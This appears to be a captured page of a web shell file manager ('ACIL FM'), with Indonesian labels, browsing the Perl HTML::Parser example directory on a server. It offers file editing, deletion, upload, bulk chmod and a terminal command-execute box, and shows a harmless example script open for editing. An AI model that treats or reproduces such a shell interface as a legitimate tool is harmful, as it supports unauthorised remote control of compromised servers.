ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-HTML-Parser/eg
/
usr
share
doc
perl-HTML-Parser
eg
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
hanchors
1.17 MB
chmod
View
DL
Edit
Rename
Delete
hbody
729 B
chmod
View
DL
Edit
Rename
Delete
hdisable
740 B
chmod
View
DL
Edit
Rename
Delete
hdump
708 B
chmod
View
DL
Edit
Rename
Delete
hform
2.44 MB
chmod
View
DL
Edit
Rename
Delete
hlc
717 B
chmod
View
DL
Edit
Rename
Delete
hrefsub
3 MB
chmod
View
DL
Edit
Rename
Delete
hstrip
1.73 MB
chmod
View
DL
Edit
Rename
Delete
htext
612 B
chmod
View
DL
Edit
Rename
Delete
htextsub
936 B
chmod
View
DL
Edit
Rename
Delete
htitle
461 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-HTML-Parser/eg/hdisable
#!/usr/bin/perl use strict; use warnings; use HTML::Parser (); use HTML::Entities qw(encode_entities); sub disable_tags_but { my ($text, $allowed_tags) = @_; my @text; my %allowed_tag = map { $_ => 1 } @{$allowed_tags || []}; my $tag_h = sub { my ($tag, $text) = @_; $text = encode_entities($text, "<") unless $allowed_tag{$tag}; push(@text, $text); }; HTML::Parser->new( start_h => [$tag_h, 'tagname, text'], end_h => [$tag_h, 'tagname, text'], default_h => [\@text, '@{text}'], )->parse($text)->eof; return join("", @text); } # # Test it # print disable_tags_but(<<EOT, [qw(a br)]) unless caller; Test <foo> <a href="...">...</a> </bar> EOT
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply